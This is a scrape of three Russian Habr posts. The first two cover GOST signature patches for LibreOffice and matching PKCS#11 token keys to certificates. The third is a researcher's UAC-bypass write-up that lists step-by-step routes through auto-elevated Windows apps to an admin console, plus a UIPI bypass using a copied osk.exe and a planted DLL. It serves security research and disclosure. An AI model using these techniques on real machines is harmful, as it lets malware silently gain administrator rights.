b1:d3:a5:2f:ef:66:9b:f5:71:42:77:0a:d2:10:7f:50
$
```
И тут стало понятно, что не все так хорошо. Да, алгоритм подписи Digest Encryption Algorithm: GOST R 34.10-2012 Key 512 в соответствии с выбранным для подписи сертификатом, но подпись формируется от хэша, посчитанному по алгоритму SHA-256 (Digest Algorithm (1): SHA-256). А это неправильно с точки: хэш для GOST R 34.10-2012 Key 512 должен считаться по алгоритму ГОСТ Р 34.11-2012-512.
Приступаем а анализу исходного кода libreoffice: не так страшен черт как его малюют. В данной статье мы рассматриваем использование пакета NSS для формирования электронной подписи. Если кто предпочитает на платформе MS Windows, использовать CryptoAPI (и, соответственно, ГОСТ-CSP), может по аналогии с данным материалом сделать соответствующую доработку.
Анилиз показал, что правки придется внести всего в два файла:
— *~/libreoffice-5.3.7.2/vcl/source/gdi/pdfwriter\_impl.cxx*
— *~/libreoffice-5.3.7.2/xmlsecurity/source/pdfio/pdfdocument.cxx*
Эти изменения связаны с правильным выбором хэш-функции для ГОСТ-овых сертификатов. Выбор хэш-функции будем определять в зависимости от типа ключа сертификата. Выбор хэш-алгоритма, например, в PDFWriter::Sign (файл pdfwriter\_impl.cxx) будет выглядеть так:
```
bool PDFWriter::Sign(PDFSignContext& rContext)
{
#ifndef _WIN32
/*Добавленные переменные*/
SECKEYPublicKey *pubk = NULL;
SECOidTag hashAlgTag;
HASH_HashType hashType;
int hashLen;
CERTCertificate *cert = CERT_DecodeCertFromPackage(reinterpret_cast(rContext.m\_pDerEncoded), rContext.m\_nDerEncoded);
if (!cert)
{
SAL\_WARN("vcl.pdfwriter", "CERT\_DecodeCertFromPackage failed");
return false;
}
/\*Получаем из сертификата открытый ключ\*/
pubk = CERT\_ExtractPublicKey(cert);
if (pubk == NULL)
return NULL;
/\*Проверяем тип открытого ключа\*/
switch(pubk->keyType){
case gost3410Key:
hashAlgTag = SEC\_OID\_GOSTHASH;
hashType = HASH\_AlgGOSTHASH;
hashLen = SHA256\_LENGTH;
break;
case gost3410Key\_256:
hashAlgTag = SEC\_OID\_GOST3411\_2012\_256;
hashType = HASH\_AlgGOSTHASH\_12\_256;
hashLen = SHA256\_LENGTH;
break;
case gost3410Key\_512:
hashAlgTag = SEC\_OID\_GOST3411\_2012\_512;
hashLen = SHA256\_LENGTH \* 2;
hashType = HASH\_AlgGOSTHASH\_12\_512;
break;
default:
hashAlgTag = SEC\_OID\_SHA256;
hashType = HASH\_AlgSHA256;
hashLen = SHA256\_LENGTH;
break;
}
/\*Вычисление хэш\*/
HashContextScope hc(HASH\_Create(hashType));
. . .
}
```
Остальные изменения по логике аналогичны этим. Патч для файла ~/libreoffice-5.3.7.2/vcl/source/gdi/pdfwriter\_impl.cxx находится
**здесь:**
```
--- pdfwriter_impl_ORIG.cxx 2017-10-25 17:25:39.000000000 +0300
+++ pdfwriter_impl.cxx 2018-10-31 19:48:32.078482227 +0300
@@ -6698,6 +6698,9 @@
CERTCertificate *cert,
SECItem *digest)
{
+ SECKEYPublicKey *pubk = NULL;
+ SECOidTag hashAlgTag;
+
NSSCMSMessage *result = NSS_CMSMessage_Create(nullptr);
if (!result)
{
@@ -6732,8 +6735,31 @@
NSS_CMSMessage_Destroy(result);
return nullptr;
}
-
+ pubk = CERT_ExtractPublicKey(cert);
+ if (pubk == NULL)
+ return NULL;
+ switch(pubk->keyType){
+ case gost3410Key:
+ hashAlgTag = SEC_OID_GOSTHASH;
+fprintf(stderr, "CreateCMSMessage: gost3410Key Use HASH_AlgGOSTHASH_=%d\n", hashAlgTag);
+ break;
+ case gost3410Key_256:
+ hashAlgTag = SEC_OID_GOST3411_2012_256;
+fprintf(stderr, "CreateCMSMessage: gost3410Key_256 Use HASH_AlgGOSTHASH_=%d\n", hashAlgTag);
+ break;
+ case gost3410Key_512:
+ hashAlgTag = SEC_OID_GOST3411_2012_512;
+fprintf(stderr, "CreateCMSMessage: gost3410Key_512 Use HASH_AlgGOSTHASH_=%d\n", hashAlgTag);
+ break;
+ default:
+ hashAlgTag = SEC_OID_SHA256;
+ break;
+ }
+/*
*cms_signer = NSS_CMSSignerInfo_Create(result, cert, SEC_OID_SHA256);
+*/
+ *cms_signer = NSS_CMSSignerInfo_Create(result, cert, hashAlgTag);
+
if (!*cms_signer)
{
SAL_WARN("vcl.pdfwriter", "NSS_CMSSignerInfo_Create failed");
@@ -6773,8 +6799,8 @@
NSS_CMSMessage_Destroy(result);
return nullptr;
}
+ if (NSS_CMSSignedData_SetDigestValue(*cms_sd, hashAlgTag, digest) != SECSuccess)
- if (NSS_CMSSignedData_SetDigestValue(*cms_sd, SEC_OID_SHA256, digest) != SECSuccess)
{
SAL_WARN("vcl.pdfwriter", "NSS_CMSSignedData_SetDigestValue failed");
NSS_CMSSignedData_Destroy(*cms_sd);
@@ -6982,6 +7008,10 @@
bool PDFWriter::Sign(PDFSignContext& rContext)
{
#ifndef _WIN32
+ SECKEYPublicKey *pubk = NULL;
+ SECOidTag hashAlgTag;
+ HASH_HashType hashType;
+ int hashLen;
CERTCertificate *cert = CERT_DecodeCertFromPackage(reinterpret_cast(rContext.m\_pDerEncoded), rContext.m\_nDerEncoded);
@@ -6990,8 +7020,33 @@
SAL\_WARN("vcl.pdfwriter", "CERT\_DecodeCertFromPackage failed");
return false;
}
+ pubk = CERT\_ExtractPublicKey(cert);
+ if (pubk == NULL)
+ return NULL;
+ switch(pubk->keyType){
+ case gost3410Key:
+ hashAlgTag = SEC\_OID\_GOSTHASH;
+ hashType = HASH\_AlgGOSTHASH;
+ hashLen = SHA256\_LENGTH;
+ break;
+ case gost3410Key\_256:
+ hashAlgTag = SEC\_OID\_GOST3411\_2012\_256;
+ hashType = HASH\_AlgGOSTHASH\_12\_256;
+ hashLen = SHA256\_LENGTH;
+ break;
+ case gost3410Key\_512:
+ hashAlgTag = SEC\_OID\_GOST3411\_2012\_512;
+ hashLen = SHA256\_LENGTH \* 2;
+ hashType = HASH\_AlgGOSTHASH\_12\_512;
+ break;
+ default:
+ hashAlgTag = SEC\_OID\_SHA256;
+ hashType = HASH\_AlgSHA256;
+ hashLen = SHA256\_LENGTH;
+ break;
+ }
+ HashContextScope hc(HASH\_Create(hashType));
- HashContextScope hc(HASH\_Create(HASH\_AlgSHA256));
if (!hc.get())
{
SAL\_WARN("vcl.pdfwriter", "HASH\_Create failed");
@@ -7005,15 +7060,18 @@
HASH\_Update(hc.get(), static\_cast(rContext.m\_pByteRange2), rContext.m\_nByteRange2);
SECItem digest;
- unsigned char hash[SHA256\_LENGTH];
+ unsigned char hash[SHA256\_LENGTH \* 2];
+
digest.data = hash;
- HASH\_End(hc.get(), digest.data, &digest.len, SHA256\_LENGTH);
+ HASH\_End(hc.get(), digest.data, &digest.len, hashLen);
+
hc.clear();
#ifdef DBG\_UTIL
{
FILE \*out = fopen("PDFWRITER.hash.data", "wb");
- fwrite(hash, SHA256\_LENGTH, 1, out);
+ fwrite(hash, hashLen, 1, out);
+
fclose(out);
}
#endif
@@ -7078,8 +7136,8 @@
fclose(out);
}
#endif
+ HashContextScope ts\_hc(HASH\_Create(hashType));
- HashContextScope ts\_hc(HASH\_Create(HASH\_AlgSHA256));
if (!ts\_hc.get())
{
SAL\_WARN("vcl.pdfwriter", "HASH\_Create failed");
@@ -7090,16 +7148,19 @@
HASH\_Begin(ts\_hc.get());
HASH\_Update(ts\_hc.get(), ts\_cms\_signer->encDigest.data, ts\_cms\_signer->encDigest.len);
SECItem ts\_digest;
- unsigned char ts\_hash[SHA256\_LENGTH];
+ unsigned char ts\_hash[SHA256\_LENGTH \* 2];
+
ts\_digest.type = siBuffer;
ts\_digest.data = ts\_hash;
- HASH\_End(ts\_hc.get(), ts\_digest.data, &ts\_digest.len, SHA256\_LENGTH);
+ HASH\_End(ts\_hc.get(), ts\_digest.data, &ts\_digest.len, hashLen);
+
ts\_hc.clear();
#ifdef DBG\_UTIL
{
FILE \*out = fopen("PDFWRITER.ts\_hash.data", "wb");
- fwrite(ts\_hash, SHA256\_LENGTH, 1, out);
+ fwrite(ts\_hash, hashLen, 1, out);
+
fclose(out);
}
#endif
@@ -7111,7 +7172,8 @@
src.messageImprint.hashAlgorithm.algorithm.data = nullptr;
src.messageImprint.hashAlgorithm.parameters.data = nullptr;
- SECOID\_SetAlgorithmID(nullptr, &src.messageImprint.hashAlgorithm, SEC\_OID\_SHA256, nullptr);
+ SECOID\_SetAlgorithmID(nullptr, &src.messageImprint.hashAlgorithm, hashAlgTag, nullptr);
+
src.messageImprint.hashedMessage = ts\_digest;
src.reqPolicy.type = siBuffer;
@@ -7340,11 +7402,13 @@
// Write ESSCertIDv2.hashAlgorithm.
aCertID.hashAlgorithm.algorithm.data = nullptr;
aCertID.hashAlgorithm.parameters.data = nullptr;
- SECOID\_SetAlgorithmID(nullptr, &aCertID.hashAlgorithm, SEC\_OID\_SHA256, nullptr);
+ SECOID\_SetAlgorithmID(nullptr, &aCertID.hashAlgorithm, hashAlgTag, nullptr);
+
// Write ESSCertIDv2.certHash.
SECItem aCertHashItem;
- unsigned char aCertHash[SHA256\_LENGTH];
- HashContextScope aCertHashContext(HASH\_Create(HASH\_AlgSHA256));
+ unsigned char aCertHash[SHA256\_LENGTH\*2];
+ HashContextScope aCertHashContext(HASH\_Create(hashType));
+
if (!aCertHashContext.get())
{
SAL\_WARN("vcl.pdfwriter", "HASH\_Create() failed");
@@ -7354,7 +7418,8 @@
HASH\_Update(aCertHashContext.get(), reinterpret\_cast(rContext.m\_pDerEncoded), rContext.m\_nDerEncoded);
aCertHashItem.type = siBuffer;
aCertHashItem.data = aCertHash;
- HASH\_End(aCertHashContext.get(), aCertHashItem.data, &aCertHashItem.len, SHA256\_LENGTH);
+ HASH\_End(aCertHashContext.get(), aCertHashItem.data, &aCertHashItem.len, hashLen);
+
aCertID.certHash = aCertHashItem;
// Write ESSCertIDv2.issuerSerial.
IssuerSerial aSerial;
```
Патч для файла ~/libreoffice-5.3.7.2/xmlsecurity/source/pdfio/pdfdocument.cxx находится
**здесь:**
```
--- pdfdocument_ORIG.cxx 2017-10-25 17:25:39.000000000 +0300
+++ pdfdocument.cxx 2018-10-31 19:49:34.174485641 +0300
@@ -2400,6 +2400,19 @@
case SEC_OID_PKCS1_SHA512_WITH_RSA_ENCRYPTION:
eOidTag = SEC_OID_SHA512;
break;
+ case SEC_OID_GOST3410_SIGN_256:
+ case SEC_OID_GOST3411_2012_256:
+ eOidTag = SEC_OID_GOST3411_2012_256;
+ break;
+ case SEC_OID_GOST3410_SIGN_512:
+ case SEC_OID_GOST3411_2012_512:
+ eOidTag = SEC_OID_GOST3411_2012_512;
+ break;
+ case SEC_OID_GOST3410_SIGNATURE:
+ case SEC_OID_GOSTHASH:
+ eOidTag = SEC_OID_GOSTHASH;
+ break;
+
default:
break;
}
@@ -2453,6 +2466,16 @@
case SEC_OID_SHA512:
nMaxResultLen = msfilter::SHA512_HASH_LENGTH;
break;
+ case SEC_OID_GOST3411_2012_256:
+ nMaxResultLen = msfilter::SHA256_HASH_LENGTH;
+ break;
+ case SEC_OID_GOST3411_2012_512:
+ nMaxResultLen = msfilter::SHA512_HASH_LENGTH;
+ break;
+ case SEC_OID_GOSTHASH:
+ nMaxResultLen = msfilter::SHA256_HASH_LENGTH;
+ break;
+
default:
SAL_WARN("xmlsecurity.pdfio", "PDFDocument::ValidateSignature: unrecognized algorithm");
return false;
```
После внесения изменений проводим сборку пакета libreoffice. Внесенные изменения коснулись трех библиотек (/usr/lib64/libreoffice/program):
* *libvcllo.so*;
* *libxmlsecurity.so*;
* *libxsec-xmlsec.so*
Именно эти три библиотеки были заменены в установленном дистрибутиве libreoffice (/usr/lib64/libreoffice/program).
После этого подписание и проверка ГОСТ-подписи в PDF-файлах прошла без сучка и задоринки. И тут на одном из сайтов попадается на глаза такая выдержка:
> У Федеральной налоговой службы есть отличный [сервис](https://service.nalog.ru/vyp/) для получения выписки из ЕГРЮЛ для любого юридического лица, причем абсолютно бесплатно. Выписку можно получить в виде документа формата PDF, подписанном квалифицированной электронной подписью. И такую выписку можно отправить в коммерческий банк, госучреждение, и с вас не попросят ее в бумажном виде. В общем, очень удобно.
Заказываем, получаем и проверяем:
Стоит напомнить, что не следует забывать устанавливать в хранилище цепочку доверенных сертификатов для сертификата подписанта. Но это естественно.
Все, теперь есть возможность использования электронной подписи (одной или несколько) в PDF-файлах. Это очень удобно как при согласовании документов, так и хранении документов.
А если кто привык работать с классической электронной подписью в формате PKCS#7 как присоединенной, так и отсоединенной, то для них подготовлена обновленная версия (для платформы Linux и Windows) графического пакета [GUINSSPY](https://habr.com/post/335712/):
Разработка велась на Python3 и если на платформе Linux проблем не было, то на MS Windows пришлось попотеть с кодировками. Фактически это была отдельная разработка и это требует отдельной статьи. Все эти нюансы можно увидеть в исходном коде.
С помощью этой утилиты можно создать хранилище сертификатов для libreoffice, управлять сертификатами, подписывать файлы и т.д.:
Утилита также позволяет создать запрос на сертификат с генерацией ключевой пары, который затем можно передать в удостоверяющий центр, а полученный сертификат установить в хранилище:
И вот если производители отечественных форков Linux доработали различные пакеты (NSS, Firefox, Thunderbiird, GnuPG/SMIME, SSH, KMail, Kleopatra, LibreOffice, OpenSSL, и т.д и т.п.) для работы с российской криптографией, то тогда можно было бы говорить об импортозамещении в области криптографии. | https://habr.com/ru/post/428429/ | null | ru | null |
# Токены PKCS#11: сертификаты и закрытые ключи
 [Токены PKCS#11](https://ru.wikipedia.org/wiki/PKCS_%E2%99%AF11) выполняют не только криптографические функции (генерация ключевых пар, формирование и проверка электронной подписи и другие), но и являются хранилищем для публичных (открытых, PUBLIC KEY) и приватных (закрытых, PRIVATE KEY) ключей. На токене также могут храниться сертификаты. Как правило, на токене хранятся личные сертификаты вместе с ключевой парой. При этом на токене может храниться несколько личных сертификатов.
Встает дилемма, как определить какой закрытый ключ (да и открытый тоже) соответствует тому или иному сертификату.
Такое соответствие, как правило, устанавливается путем задание идентичных параметров *CKA\_ID* и/или *CKA\_LABEL* для тройки объектов: сертификата (*CKO\_CERTIFICAT*E), публичного ключа (*CKO\_PUBLIC\_KEY*) и приватного ключа (*CKO\_PRIVATE\_KEY*).
Возникает вопрос – как задавать эти значения, чтобы, по крайней мере, не возникла коллизия, и насколько это безопасно с точки зрения получения корректного результата.
Наиболее распространенный способ задания *CKA\_ID* – это использование значения хэш-функции от значения открытого ключа. Именно такой способ для связывания тройки объектов используется в проекте [NSS](https://ru.wikipedia.org/wiki/Network_Security_Services) (Network Security Services). При этом в качестве хэш-функции используется алгоритм *SHA1*. С учетом того, что на токене реально будет храниться едва ли больше десятка личных сертификатов, то с точки зрения появления коллизии этот способ является хорошим. Вместе с тем *CKA\_ID* для этой тройки могут устанавливаться в любой момент и любое значение. Именно в этом и состоит вся проблема. Если бы RFC или Рекомендации [ТК-26](https://www.tc26.ru/) требовали установки параметра *CKA\_ID* в момент появления объекта на токене (например, при генерации ключевой пары *CKM\_GOSTR3410\_KEY\_GEN\_PAIR*) и его нельзя было бы изменить, то на этом данное повествование можно было бы завершить. К сожалению, это не так. Как уже было сказано, *CKA\_ID* можно установить в любой момент с любым значением. Таким образом, всегда существует вероятность, что сертификат окажется связанным с чужим приватным ключом. Не нужно объяснять, к каким это приведет последствиям.
А вообще, существует ли строгий математический алгоритм, который позволяет связать тройку *CKO\_CERTIFICATE x CKO\_PRIVATE\_KEY x CKO\_PUBLIC\_KEY* в единое целое?
Да, такой алгоритм на базе криптографических механизмов (*CKM\_*) токена существует. Связка сертификата и публичного ключа проверяется легко и просто. Берутся значение открытого ключа и его параметров из сертификата и сравниваются и аналогичными значениями публичного ключа.
Что касается сертификата и приватного ключа, то до недавнего времени этот алгоритм выглядел следующим образом. С помощью приватного ключа формируется подпись под некоторым текстом (например, «поиск закрытого ключа»), а затем с помощью открытого ключа, полученного из сертификата, проверяется корректность полученной подписи. Если подпись корректна, значит, мы получили закрытый ключ для выбранного сертификата. Если нет, то выбирается следующий закрытый ключ на токене.
Все, мы теперь не зависим ни от *CKA\_ID*, ни от *CKA\_LABEL*.
Но вот появляется документ [«МЕТОДИЧЕСКИЕ РЕКОМЕНДАЦИИ. Расширение PKCS#11 для использования российских стандартов ГОСТ Р 34.10-2012, ГОСТ Р 34.11-2012, ГОСТ Р 34.12-2015 и ГОСТ Р 34.13-2015»](https://www.tc26.ru/methods/project/PKCS11_v18.pdf), в котором появляется новый механизм *CKM\_GOSTR3410\_PUBLIC\_KEY\_DERIVE* — механизм создания открытого ключа из закрытого. Данный механизм используется в *C\_DeriveKey*. Теперь поиск закрытого ключа для сертификата значительно упрощается. Достаточно получить список закрытых ключей на токене, затем для каждого закрытого ключа получить открытый ключ:
```
…
CK_OBJECT_HANDLE priv_key = CK_INVALID_HANDLE;
CK_OBJECT_HANDLE pub_key = CK_INVALID_HANDLE;
CK_MECHANISM mechanism_der_desc =
{ CKM_GOSTR3410_PUBLIC_KEY_DERIVE, NULL, 0 };
CK_MECHANISM_PTR mechanism_der = &mechanism_der_desc;
…
// Получаем открытый ключ по закрытому
rc = funcs->C_DeriveKey(sess, mechanism_der, priv_key,
NULL, 0, &pub_key);
…
```
А далее сравниваем значения полученного публичного ключа, со значениями публичного ключа в сертификате.
Применение любого из этих алгоритмов избавляет от необходимости следить за значениями *CKA\_ID/CKA\_LABEL* и делает использованием сертификатов и приватных ключей, хранящихся на токенах PKCS#11, и надежным и безопасным.
Использование механизма *CKM\_GOSTR3410\_PUBLIC\_KEY\_DERIVE* предполагает его реализацию на том или другом токене. Посмотреть список реализованных механизмов удобно с помощью утилиты p11conf:
```
$ /usr/local/bin64/p11conf -h
usage: /usr/local/bin64/p11conf [-hitsmIupPred] -A APIpath [-c slotID -U userPin -S SOPin -n newPin -L label]
-h display usage
-i display PKCS#11 library info
-s display slot(s) info (-c slotID is optional)
-t display token(s) info (-c slotID is optional)
Others must use -c slotID
-m display mechanism list
-I initialize token
-u initialize user PIN
-p set the user PIN
-P set the SO PIN
-r remove all objects
-e enumerate objects
-d dump all object attributes
$
```
Список доступных механизмов можно посмотреть следующим образом:
```
$ /usr/local/bin64/p11conf -A /usr/local/lib64/libls11usb2016.so -m -c 0|grep GOSTR3410
Mechanism: CKM_GOSTR3410_KEY_PAIR_GEN (0x1200)
Mechanism: CKM_GOSTR3410_512_KEY_PAIR_GEN (0xD4321005)
Mechanism: CKM_GOSTR3410 (0x1201)
Mechanism: CKM_GOSTR3410_512 (0xD4321006)
Mechanism: CKM_GOSTR3410_WITH_GOSTR3411 (0x1202)
Mechanism: CKM_GOSTR3410_WITH_GOSTR3411_12_256 (0xD4321008)
Mechanism: CKM_GOSTR3410_WITH_GOSTR3411_12_512 (0xD4321009)
Mechanism: CKM_GOSTR3410_DERIVE (0x1204)
Mechanism: CKM_GOSTR3410_12_DERIVE (0xD4321007)
Mechanism: CKM_GOSTR3410_KEY_WRAP (0x1203)
Mechanism: CKM_GOSTR3410_PUBLIC_KEY_DERIVE (0xD432100A)
Mechanism: CKM_LISSI_GOSTR3410_PUBLIC_KEY_DERIVE (0xD4321037)
$
```
И последнее, есть ли сегодня токены, разработанные в соответствии с документом [«МЕТОДИЧЕСКИЕ РЕКОМЕНДАЦИИ. Расширение PKCS#11 для использования российских стандартов ГОСТ Р 34.10-2012, ГОСТ Р 34.11-2012, ГОСТ Р 34.12-2015 и ГОСТ Р 34.13-2015»](https://www.tc26.ru/methods/project/PKCS11_v18.pdf)?
Да, есть. | https://habr.com/ru/post/316328/ | null | ru | null |
# UAC Bypass или история о трех эскалациях
На работе я исследую безопасность ОС или программ. Ниже я расскажу об одном из таких исследований, результатом которого стал полнофункциональный эксплоит типа UAC bypass (да-да, с source-code и гифками).
Ах, да, в Майкрософт сообщили, они сделали вид, что им не интересно.
Алярм! Под катом около 4 мегабайт трафика – картинок и гифок.
История
-------
### GUI UAC bypass
Наверняка существует множество способов найти уязвимость. Один из самых простых — это воспроизведение уже существующей атаки, выбрав другую цель. Так и я решил поставить опыт — через меню выбора файла (для сохранения или открытия) запустить какое-нибудь приложение.
Гифка показывает, как такая атака выглядела в Windows 98. Атакующий хитрыми манипуляциями вызывает окно открытия файла и через него запускает explorer.
Сначала проведем простой тест, чтобы посмотреть, что происходит — запускаем блокнот. Выбираем в меню пункт «Открыть», а в появившемся окне переходим в папку C:\Windows\system32\. В окне отображаются только файлы txt и папки. Это легко поправить — достаточно вместо имени файла написать \*.\* и будут отображены все файлы (в случае блокнота можно проще — выбрать фильтр «Все файлы», но такой фильтр будет доступен не всегда, а звездочки будет работать всегда). Находим notepad.exe и запускаем его через контекстное меню.
Process Explorer показывает вполне ожидаемую картину:
Один процесс стартовал другой. Чаще всего при таком наследовании дочерний процесс имеет тот же уровень привилегий, что и родительский. Значит, если мы хотим запустить процесс с высокими привилегиями, то и воспользоваться нужно процессом, у которого уже есть эти привилегии.
Тут я вспомнил о приложениях с автоматически поднимаемыми привилегиями. Речь идет о программах, у которых в манифесте прописано [поднятие привилегий без запроса UAC](https://msdn.microsoft.com/ru-ru/library/windows/desktop/aa374191(v=vs.85).aspx) (элемент autoElevate). Для первого эксперимента я выбрал многострадальный eventwvr.exe (он уже [пару](http://www.labofapenetrationtester.com/2015/09/bypassing-uac-with-powershell.html) раз [засветился](https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/) в обходах UAC).
Все оказалось очень просто, в меню «Действие» есть пункт «Открыть сохраненный журнал…» — этот пункт выводит окно открытия файла, что мы и хотим получить.
После запуска мы увидим такую ситуацию:
Мы запустили консоль с правами администратора без появления окна UAC.
Такой вид уязвимостей называется UAC bypass (обход запроса UAC). Важно отметить существенное ограничение — автоматическое поднятие прав работает, только если пользователь входит в группу администраторов. Поэтому с помощью такой уязвимости нельзя поднять права с уровня пользователя. Но все же уязвимость довольно опасна — очень много пользователей Windows использует аккаунт администратора для повседневной работы. Вредоносная программа, которую запустит пользователь такого аккаунта, без внешних проявлений получит сначала административные привилегии, а затем, если ей надо, то может получить хоть NT AUTHORITY\SYSTEM. С привилегиями администратора это очень легко.
На гитхабе есть отличный проект <https://github.com/hfiref0x/UACME>, где собраны, наверное, все имеющиеся в открытом доступе уязвимости такого рода, причем с указанием с какой версии Windows уязвимость начала работать, и в какой ее поправили, если поправили.
Я далеко не первый, кто подумал об уязвимости такого плана. Ниже я прикладываю два анимационных изображения, которые наглядно показывают обход UAC еще двумя способами.
Файлы взяты из статьи [msitpros.com/?p=3692](https://msitpros.com/?p=3692).
Я прошелся по разным приложениям и ниже прикладываю еще 18 способов реализации такого обхода.
**Еще 18 способов ручного обхода UAC**Внимание! Возможно, в разных версиях и редакциях некоторые приложения не будут иметь автоматическое поднятие привилегий — их список периодически меняется.
Кроме того, если у вас установлен принтер, то с большой вероятностью в окошках, связанных с печатью, вы найдете много дополнительных способов вызвать окно выбора файла.
**cliconfg.exe**
1) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
2) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».
**compMgmtLauncher.exe**
3) Меню «Действие», пункт «Экспортировать список…».
4) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
5) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».
**dcomcnfg.exe**
6) В списке слева выбрать «Службы (локальные)», в контекстном меню выбрать пункт «Экспортировать список…».
**eudcedit.exe**
7) После старта, программа предложит выбрать код. Выбираем любой и нажимаем ОК; В меню «Файл» выбираем пункт «Связи шрифтов…», в появившемся окне отмечаем «Установить связь с выбранными шрифтами», это разблокирует кнопку «Сохранить как…».
**eventvwr.exe**
8) Меню «Действие», пункт «Открыть сохраненный журнал…».
9) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
10) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».
**netplwiz.exe**
11) Выбрать вкладку «Дополнительно», в группе «Дополнительное управление пользователями» нажать кнопку «Дополнительно». Будет запущена оснастка lusrmgr.msc. Меню «Действие», пункт «Экспортировать список…».
**odbcad32.exe**
12) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
13) Кнопка «Справка», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».
14) Выбрать вкладку «Трассировка», кнопка «Обор…»
15) Выбрать вкладку «Трассировка», кнопка «Выбор DLL…»
**perfmon.exe**
16) В списке слева выбрать группу «Отчеты», в ней «Особые», в контекстном меню выбрать пункт «Экспортировать список…».
17) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Просмотр HTML-кода», в появившемся окне Блокнота выбрать в меню «Файл», пункт «Открыть».
18) Меню «Справка», пункт «Вызов справки», в появившемся окне справки вызвать контекстное меню в рабочей области, выбрать «Печать», в появившемся окне «Найти принтер…», в окне поиска выбрать меню «Файл», пункт «Сохранить условия поиска».
Хоть мы и получили консоль администратора с правами администратора, но назвать это уязвимостью или эксплоитом сложно — нужны осознанные действия пользователя. Чтобы данную уязвимость считать практической, а не теоретической — нужно автоматизировать действия.
### UIPI bypass
Автоматизация? Да легко! Берем AutoIt и быстро клепаем приложение, которое эмулирует нажатие клавиатуры.
* WIN-R, eventvwr, ENTER — запустили приложение;
* ALT-нажали-и-отпустили — фокус на главное меню;
* Вправо-Вниз-Вниз-ENTER — выбрали нужный пункт в меню;
* C:\windows\system32 ENTER — перешли в нужную папку;
* \* ENTER — сбросили фильтр;
* SHIFT-TAB, SHIFT-TAB — окно фокуса на списке файлов;
* сmd — выбрали файл cmd.exe;
* App (Кнопка контекстного меню, обычно рядом с правым Ctrl и правыми Alt), вниз, вниз, ENTER — выбираем пункт «Открыть».
Прямо готовое описание для какой-нить атаки BadUSB-Keyboard типа Teensy или Rubber Ducky. Все отлично, но не работает. Вернее, работает, но не всегда — только если мы запускаем скрипт с правами администратора. Но если мы запускаем скрипт с правами администратора, то какой же это эксплоит?
Все оказывается довольно просто — Майкрософт использует технологию UIPI ([User Interface Privilege Isolation](https://msdn.microsoft.com/en-us/library/bb625963.aspx)). Если коротко, то многие интерфейсные взаимодействия блокируются, если Integrity Level (IL) инициатора ниже, чем у целевого приложения. Процессы с привилегиями администратора имеют High IL и выше, а приложение, запускаемое пользователем без поднятия привилегий, имеет Medium IL. Нельзя слать большинство сообщений, эмулировать мышь, клавиатуру.
Как же обойти UIPI? Майкрософт указывает, что есть еще один интересный параметр, который можно указать в манифесте — UIAccess. При выполнении ряда суровых условий приложение получит возможность взаимодействовать с интерфейсом других программ. Собственно, сами условия:
1. UIAccess=«true» в манифесте.
2. Программа должна быть подписана и сертификат подписи должен восприниматься компьютером как доверенный.
3. Программа должна быть расположена в «безопасной» папке или глубже. Под безопасными папками понимаются папка C:\Windows (с некоторыми исключениями), C:\Program Files, C:\Program Files (x86).
Поиск файлов, которые уже подходят под эти условия, показывает, например, приложение C:\Windows\system32\osk.exe. Это приложение экранной клавиатуры — логично, что оно должно иметь доступ к интерфейсу программ и не требовать прав администратора, поскольку может быть запущено обычным пользователем. Посмотрев в Process Explorer на процесс, становится понятно, как оно работает. При UIAccess=«true» происходит еще одна автоматическая эскалация — поднимается IL приложения. Osk.exe стартует с High IL, но при этом без прав администратора. Довольно интересная ситуация.
Появляется идея попробовать скопировать Osk.exe куда-то, где он все еще будет считаться расположенным по «безопасному» пути. Тогда мы сможем контролировать это приложение, но все равно выполнять условия для обхода UIPI.
Я написал простой поисковик по директориям C:\Windows, C:\Program Files, C:\Program Files (x86), который бы искал места, куда можно копировать без прав администратора. На удивление, таких директорий нашлось немало. К сожалению, большая часть из них либо входит в исключения C:\Windows, либо является директориями, куда можно писать, но откуда нельзя запускать приложения. И все равно, нашлось две подходящих папки:
* C:\Windows\minidump
* C:\Program Files\Microsoft SQL Server\130\Shared\ErrorDumps
С одной стороны, это хорошо — есть что проверять, но с другой — все не так радужно.
Папка minidump появляется, если ОС падала в синий экран смерти. Если синие экраны обошли пользователя стороной, то и директории нет. Более того, в эту директорию изначально доступа нет. Нужно хотя бы один раз в нее зайти администратору и только после этого она становится доступной. В общем не наш вариант.
А вот вторая папка уже лучше — за исключением того, что она появляется при установке Microsoft Visual Studio (2017 в данном случае, у других студий будут другие числа вместо 130, например 120 у MSVS 2015).
Копируем osk.exe в папку C:\Program Files\Microsoft SQL Server\130\Shared\ErrorDumps. Смотрим таблицу импорта приложения. Среди библиотек в импорте я выбрал osksupport.dll — это библиотека, экспортирующая всего 2 функции, поэтому можно быстро сделать поддельную.
Собираем dll и копируем по тому же пути — будет dll-инъекция. Запускаем, проверяем — скопированный osk.exe запускается с High IL, код из dll исполняется.
Дописываем в dll автоматизацию клавиатурных нажатий (уже не AutoIt, а быстро все перекинутое на плюсовый код keybd\_event). Убеждаемся, что все работает. Теперь у нас уже почти готов эксплоит. Надо провести чистый тест.
